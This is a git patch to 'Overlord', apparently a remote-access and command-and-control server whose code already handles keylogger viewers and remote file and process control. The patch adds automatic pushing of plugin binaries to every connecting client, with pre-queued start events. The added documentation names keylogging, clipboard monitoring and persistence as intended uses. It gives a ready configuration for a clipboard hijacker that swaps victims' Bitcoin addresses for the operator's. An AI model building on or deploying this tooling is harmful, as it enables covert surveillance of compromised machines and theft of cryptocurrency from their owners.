From 17b88cb1607ef6e7dd098dc3599ac62f44a44315 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Mon, 23 Mar 2026 10:58:52 -0500 Subject: [PATCH] make plugin api not dog shit --- Overlord-Server/public/assets/plugins.js | 30 ++++++ Overlord-Server/src/main-server.ts | 15 ++- .../src/server/plugin-state-bundle.ts | 45 ++++++++- .../src/server/routes/plugin-routes.ts | 94 +++++++++++++++++++ .../routes/websocket-lifecycle-routes.ts | 2 + .../src/server/ws-notifications-plugin.ts | 34 +++++++ PLUGINS.md | 91 +++++++++++++++++- 7 files changed, 307 insertions(+), 4 deletions(-) diff --git a/Overlord-Server/public/assets/plugins.js b/Overlord-Server/public/assets/plugins.js index 87d224f..3ddd0d9 100644 --- a/Overlord-Server/public/assets/plugins.js +++ b/Overlord-Server/public/assets/plugins.js @@ -134,6 +134,35 @@ function renderPlugins(plugins) { await refresh(); }); + const autoLoadBtn = document.createElement("button"); + autoLoadBtn.className = + "inline-flex items-center gap-2 px-3 py-2 rounded-lg border" + + (plugin.autoLoad + ? " border-amber-600 text-amber-200 bg-amber-900/40" + : " border-slate-600 text-slate-300 bg-slate-800/60"); + autoLoadBtn.innerHTML = plugin.autoLoad + ? ' Auto-load' + : ' Auto-load off'; + autoLoadBtn.title = plugin.autoLoad + ? "Plugin will auto-load on all new client connections. Click to disable." + : "Click to auto-load this plugin on all new client connections."; + autoLoadBtn.addEventListener("click", async () => { + const res = await fetch(`/api/plugins/${plugin.id}/autoload`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + autoLoad: !plugin.autoLoad, + autoStartEvents: plugin.autoStartEvents || [], + }), + }); + if (!res.ok) { + const text = await res.text(); + setStatus(`Auto-load toggle failed: ${text}`, true); + return; + } + await refresh(); + }); + const removeBtn = document.createElement("button"); removeBtn.className = "inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-red-900/40 border border-red-700/60 hover:bg-red-800/60 text-red-100"; @@ -150,6 +179,7 @@ function renderPlugins(plugins) { await refresh(); }); actions.appendChild(toggle); + actions.appendChild(autoLoadBtn); actions.appendChild(removeBtn); card.appendChild(meta); card.appendChild(actions); diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 36979ca..4cb7a8d 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -56,6 +56,7 @@ import { loadPluginStateFromDisk, savePluginStateToDisk, sendPluginBundle, + dispatchAutoLoadPlugins, } from "./server/plugin-state-bundle"; import { DISCONNECT_TIMEOUT_MS, @@ -169,7 +170,7 @@ const MAX_HTTP_BODY_BYTES = parseMaxHttpBodyBytes(); const pluginLoadedByClient = new Map>(); const pendingPluginEvents = new Map>(); const pluginLoadingByClient = new Map>(); -let pluginState = { enabled: {} as Record, lastError: {} as Record }; +let pluginState = { enabled: {} as Record, lastError: {} as Record, autoLoad: {} as Record, autoStartEvents: {} as Record> }; const savePluginState = () => savePluginStateToDisk(PLUGIN_ROOT, PLUGIN_STATE_PATH, pluginState); const loadPluginState = async () => { @@ -345,6 +346,7 @@ async function startServer() { isPluginLoaded: notificationPluginHandlers.isPluginLoaded, isPluginLoading: notificationPluginHandlers.isPluginLoading, enqueuePluginEvent: notificationPluginHandlers.enqueuePluginEvent, + drainPluginUIEvents: notificationPluginHandlers.drainPluginUIEvents, secureHeaders, securePluginHeaders, mimeType, @@ -439,6 +441,17 @@ async function startServer() { handleKeyloggerViewerMessage, handleVoiceViewerMessage, dispatchAutoScriptsForConnection, + dispatchAutoLoadPlugins: (info: import("./types").ClientInfo) => { + dispatchAutoLoadPlugins( + info, + pluginState, + notificationPluginHandlers.isPluginLoaded, + notificationPluginHandlers.isPluginLoading, + notificationPluginHandlers.markPluginLoading, + notificationPluginHandlers.enqueuePluginEvent, + loadPluginBundle, + ); + }, takePendingNotificationScreenshot: takePendingNotificationScreenshotForClient, storeNotificationScreenshot: storeNotificationScreenshotForPending, handleNotificationScreenshotResult: notificationPluginHandlers.handleNotificationScreenshotResult, diff --git a/Overlord-Server/src/server/plugin-state-bundle.ts b/Overlord-Server/src/server/plugin-state-bundle.ts index 91d6748..4060441 100644 --- a/Overlord-Server/src/server/plugin-state-bundle.ts +++ b/Overlord-Server/src/server/plugin-state-bundle.ts @@ -9,18 +9,22 @@ import { encodeMessage, type PluginManifest } from "../protocol"; export type PluginState = { enabled: Record; lastError: Record; + autoLoad: Record; + autoStartEvents: Record>; }; export async function loadPluginStateFromDisk(pluginStatePath: string): Promise { try { const raw = await fs.readFile(pluginStatePath, "utf-8"); - const parsed = JSON.parse(raw) as { enabled?: Record; lastError?: Record }; + const parsed = JSON.parse(raw) as Partial; return { enabled: parsed.enabled || {}, lastError: parsed.lastError || {}, + autoLoad: parsed.autoLoad || {}, + autoStartEvents: parsed.autoStartEvents || {}, }; } catch { - return { enabled: {}, lastError: {} }; + return { enabled: {}, lastError: {}, autoLoad: {}, autoStartEvents: {} }; } } @@ -269,6 +273,43 @@ export function sendPluginBundle( ); } +export async function dispatchAutoLoadPlugins( + client: ClientInfo, + pluginState: PluginState, + isPluginLoaded: (clientId: string, pluginId: string) => boolean, + isPluginLoading: (clientId: string, pluginId: string) => boolean, + markPluginLoading: (clientId: string, pluginId: string) => void, + enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void, + loadBundle: (pluginId: string, clientOS?: string, clientArch?: string) => Promise<{ manifest: PluginManifest; binary: Uint8Array | null }>, +): Promise { + const autoLoadIds = Object.entries(pluginState.autoLoad) + .filter(([id, enabled]) => enabled && pluginState.enabled[id] !== false) + .map(([id]) => id); + + for (const pluginId of autoLoadIds) { + if (isPluginLoaded(client.id, pluginId) || isPluginLoading(client.id, pluginId)) { + continue; + } + + try { + const bundle = await loadBundle(pluginId, client.os, client.arch); + markPluginLoading(client.id, pluginId); + sendPluginBundle(client, bundle); + + const autoEvents = pluginState.autoStartEvents[pluginId]; + if (autoEvents && autoEvents.length > 0) { + for (const evt of autoEvents) { + enqueuePluginEvent(client.id, pluginId, evt.event, evt.payload); + } + } + + logger.info(`[plugin-autoload] dispatched ${pluginId} to ${client.id}`); + } catch (err) { + logger.warn(`[plugin-autoload] failed to load ${pluginId} for ${client.id}: ${(err as Error).message}`); + } + } +} + function derivePlatformKey(filename: string): string { const match = filename.match(/-(linux|darwin|windows|freebsd)-(amd64|arm64|arm|386)\.(so|dll|dylib)$/i); if (match) { diff --git a/Overlord-Server/src/server/routes/plugin-routes.ts b/Overlord-Server/src/server/routes/plugin-routes.ts index 3e651c7..776f008 100644 --- a/Overlord-Server/src/server/routes/plugin-routes.ts +++ b/Overlord-Server/src/server/routes/plugin-routes.ts @@ -20,6 +20,8 @@ type PluginBundle = { type PluginState = { enabled: Record; lastError: Record; + autoLoad: Record; + autoStartEvents: Record>; }; type PluginRouteDeps = { @@ -38,6 +40,7 @@ type PluginRouteDeps = { isPluginLoaded: (clientId: string, pluginId: string) => boolean; isPluginLoading: (clientId: string, pluginId: string) => boolean; enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void; + drainPluginUIEvents: (clientId: string, pluginId: string) => Array<{ event: string; payload: any }>; secureHeaders: (contentType?: string) => Record; securePluginHeaders: () => Record; mimeType: (path: string) => string; @@ -65,6 +68,8 @@ export async function handlePluginRoutes( ...p, enabled: deps.pluginState.enabled[p.id] !== false, lastError: deps.pluginState.lastError[p.id] || "", + autoLoad: deps.pluginState.autoLoad[p.id] === true, + autoStartEvents: deps.pluginState.autoStartEvents[p.id] || [], })); return Response.json({ plugins: enriched }); } @@ -173,6 +178,59 @@ export async function handlePluginRoutes( return Response.json({ ok: true, id: pluginId, enabled }); } + const pluginAutoLoadMatch = url.pathname.match(/^\/api\/plugins\/(.+)\/autoload$/); + if (req.method === "POST" && pluginAutoLoadMatch) { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role !== "admin" && user.role !== "operator") { + return new Response("Forbidden: Admin or operator access required", { status: 403 }); + } + let pluginId = ""; + try { + pluginId = deps.sanitizePluginId(pluginAutoLoadMatch[1]); + } catch { + return new Response("Invalid plugin id", { status: 400 }); + } + let body: any = {}; + try { + body = await req.json(); + } catch {} + const autoLoad = !!body.autoLoad; + deps.pluginState.autoLoad[pluginId] = autoLoad; + + if (Array.isArray(body.autoStartEvents)) { + const validEvents = body.autoStartEvents.filter( + (e: any) => e && typeof e.event === "string" && e.event.length > 0, + ); + deps.pluginState.autoStartEvents[pluginId] = validEvents; + } + + await deps.savePluginState(); + + if (autoLoad) { + const allClients = clientManager.getAllClients(); + for (const [cid, client] of allClients) { + if (deps.isPluginLoaded(cid, pluginId) || deps.isPluginLoading(cid, pluginId)) continue; + try { + const bundle = await deps.loadPluginBundle(pluginId, client.os, client.arch); + deps.markPluginLoading(cid, pluginId); + deps.sendPluginBundle(client, bundle); + metrics.recordCommand("plugin_load"); + } catch { + } + } + } + + return Response.json({ + ok: true, + id: pluginId, + autoLoad, + autoStartEvents: deps.pluginState.autoStartEvents[pluginId] || [], + }); + } + const pluginDeleteMatch = url.pathname.match(/^\/api\/plugins\/(.+)$/); if (req.method === "DELETE" && pluginDeleteMatch) { const user = await authenticateRequest(req); @@ -201,10 +259,30 @@ export async function handlePluginRoutes( await fs.rm(pluginDir, { recursive: true, force: true }); } catch {} + // Unload from all clients that have it loaded + for (const [cid, loadedSet] of deps.pluginLoadedByClient) { + if (!loadedSet.has(pluginId)) continue; + const target = clientManager.getClient(cid); + if (target) { + try { + target.ws.send( + encodeMessage({ + type: "command", + commandType: "plugin_unload", + id: uuidv4(), + payload: { pluginId }, + }), + ); + } catch {} + } + } + deps.pluginLoadedByClient.forEach((set) => set.delete(pluginId)); deps.pluginLoadingByClient.forEach((set) => set.delete(pluginId)); delete deps.pluginState.enabled[pluginId]; delete deps.pluginState.lastError[pluginId]; + delete deps.pluginState.autoLoad[pluginId]; + delete deps.pluginState.autoStartEvents[pluginId]; await deps.savePluginState(); return Response.json({ ok: true, id: pluginId }); @@ -241,6 +319,22 @@ export async function handlePluginRoutes( } } + const pluginEventsPollMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/events$/); + if (req.method === "GET" && pluginEventsPollMatch) { + const user = await authenticateRequest(req); + if (!user) return new Response("Unauthorized", { status: 401 }); + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + const targetId = pluginEventsPollMatch[1]; + const pluginId = pluginEventsPollMatch[2]; + const events = deps.drainPluginUIEvents(targetId, pluginId); + return Response.json({ events }); + } + const pluginEventMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/event$/); if (req.method === "POST" && pluginEventMatch) { const user = await authenticateRequest(req); diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 28d3364..a3af11b 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -53,6 +53,7 @@ type WsLifecycleDeps = { handleKeyloggerViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; handleVoiceViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket) => void; + dispatchAutoLoadPlugins: (info: ClientInfo) => void; takePendingNotificationScreenshot: (clientId: string) => any; storeNotificationScreenshot: ( pending: any, @@ -373,6 +374,7 @@ export async function handleWebSocketMessage( clientManager.addClient(infoObj.id, infoObj); deps.dispatchAutoScriptsForConnection(infoObj, ws); + deps.dispatchAutoLoadPlugins(infoObj); deps.notifyDashboard(); deps.notifyDashboardClientEvent("client_online", { id: infoObj.id, diff --git a/Overlord-Server/src/server/ws-notifications-plugin.ts b/Overlord-Server/src/server/ws-notifications-plugin.ts index a19b6db..3e45772 100644 --- a/Overlord-Server/src/server/ws-notifications-plugin.ts +++ b/Overlord-Server/src/server/ws-notifications-plugin.ts @@ -75,6 +75,33 @@ function safeSendViewer(ws: ServerWebSocket, payload: unknown) { } export function createNotificationPluginHandlers(deps: CreateDeps) { + const pluginUIEventBuffer = new Map>(); + const PLUGIN_UI_EVENT_BUFFER_MAX = 200; + const PLUGIN_UI_EVENT_TTL_MS = 60_000; + + function bufferPluginUIEvent(clientId: string, pluginId: string, event: string, payload: any) { + const key = `${clientId}:${pluginId}`; + let list = pluginUIEventBuffer.get(key); + if (!list) { + list = []; + pluginUIEventBuffer.set(key, list); + } + list.push({ event, payload, ts: Date.now() }); + if (list.length > PLUGIN_UI_EVENT_BUFFER_MAX) { + list.splice(0, list.length - PLUGIN_UI_EVENT_BUFFER_MAX); + } + } + + function drainPluginUIEvents(clientId: string, pluginId: string): Array<{ event: string; payload: any }> { + const key = `${clientId}:${pluginId}`; + const list = pluginUIEventBuffer.get(key); + if (!list || list.length === 0) return []; + const now = Date.now(); + const fresh = list.filter((e) => now - e.ts < PLUGIN_UI_EVENT_TTL_MS); + pluginUIEventBuffer.delete(key); + return fresh.map(({ event, payload }) => ({ event, payload })); + } + function requestNotificationScreenshot(info: any, record: NotificationRecord) { if (!info || !info.ws) return; const commandId = `notify-shot-${uuidv4()}`; @@ -356,6 +383,7 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { const pluginId = (payload as any).pluginId || ""; const event = (payload as any).event || ""; const error = (payload as any).error || ""; + const eventPayload = (payload as any).payload; logger.debug(`[plugin] client=${clientId} plugin=${pluginId} event=${event} error=${error}`); if (event === "loaded") { markPluginLoaded(clientId, pluginId); @@ -374,6 +402,12 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { void deps.savePluginState(); } } + // Buffer all events for UI polling + if (pluginId && event) { + bufferPluginUIEvent(clientId, pluginId, event, eventPayload ?? (error ? { error } : null)); + } }, + + drainPluginUIEvents, }; } diff --git a/PLUGINS.md b/PLUGINS.md index a9b7ae8..897ce1a 100644 --- a/PLUGINS.md +++ b/PLUGINS.md @@ -250,9 +250,10 @@ Plugin UIs run in a **sandboxed iframe** with a fetch bridge. ### Plugin management -- `GET /api/plugins` — list installed plugins +- `GET /api/plugins` — list installed plugins (includes `autoLoad` and `autoStartEvents` per plugin) - `POST /api/plugins/upload` — upload zip - `POST /api/plugins//enable` — enable/disable +- `POST /api/plugins//autoload` — configure auto-load on client connect - `DELETE /api/plugins/` — remove ### Per-client plugin runtime @@ -269,4 +270,92 @@ Plugin UIs run in a **sandboxed iframe** with a fetch bridge. - `WS /api/clients//files/ws` - `WS /api/clients//processes/ws` +## 7) Auto-load plugins on client connect + +By default, plugins are only loaded when manually triggered via the API or UI. For plugins that need to run 24/7 on every connected client (e.g. clipboard monitoring, keylogging, persistence), you can configure **auto-load**. + +When auto-load is enabled for a plugin, the server will automatically load it onto every client that connects. If the client already has the plugin loaded, it's skipped — no duplicate loads. + +You can also configure **auto-start events** — a list of events that are queued and delivered to the plugin immediately after it loads. This lets you pre-configure the plugin without any manual interaction. + +### Enable auto-load + +``` +POST /api/plugins//autoload +Content-Type: application/json + +{ + "autoLoad": true +} +``` + +### Enable auto-load with auto-start events + +``` +POST /api/plugins//autoload +Content-Type: application/json + +{ + "autoLoad": true, + "autoStartEvents": [ + { "event": "add_rule", "payload": { "pattern": "^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$", "replacement": "your-btc-address" } }, + { "event": "start", "payload": {} } + ] +} +``` + +The events in `autoStartEvents` are queued in order and delivered to the plugin after it reports `loaded`. This works exactly like calling the event API multiple times, but happens automatically. + +### Disable auto-load + +``` +POST /api/plugins//autoload +Content-Type: application/json + +{ + "autoLoad": false +} +``` + +### How it works + +1. Client connects and completes the enrollment handshake +2. Server sends `hello_ack` (as usual) +3. Server dispatches auto-scripts (as usual) +4. Server checks all plugins with `autoLoad: true` and `enabled: true` +5. For each, if the plugin is **not already loaded** on that client: + - Sends the plugin binary bundle (chunked) + - Queues any `autoStartEvents` +6. When the plugin reports `loaded`, queued events are flushed in order + +### Checking auto-load status + +`GET /api/plugins` returns `autoLoad` and `autoStartEvents` for each plugin: + +```json +{ + "plugins": [ + { + "id": "clipreplace", + "name": "clipreplace", + "enabled": true, + "autoLoad": true, + "autoStartEvents": [ + { "event": "add_rule", "payload": { "pattern": "...", "replacement": "..." } }, + { "event": "start", "payload": {} } + ], + "lastError": "" + } + ] +} +``` + +### Notes + +- Auto-load respects the `enabled` flag — disabled plugins are never auto-loaded +- Auto-load state is persisted in `.plugin-state.json` and survives server restarts +- Deleting a plugin also removes its auto-load configuration +- The server selects the correct binary for each client's OS/architecture automatically +- If a plugin binary isn't available for a client's platform, the auto-load silently skips that client +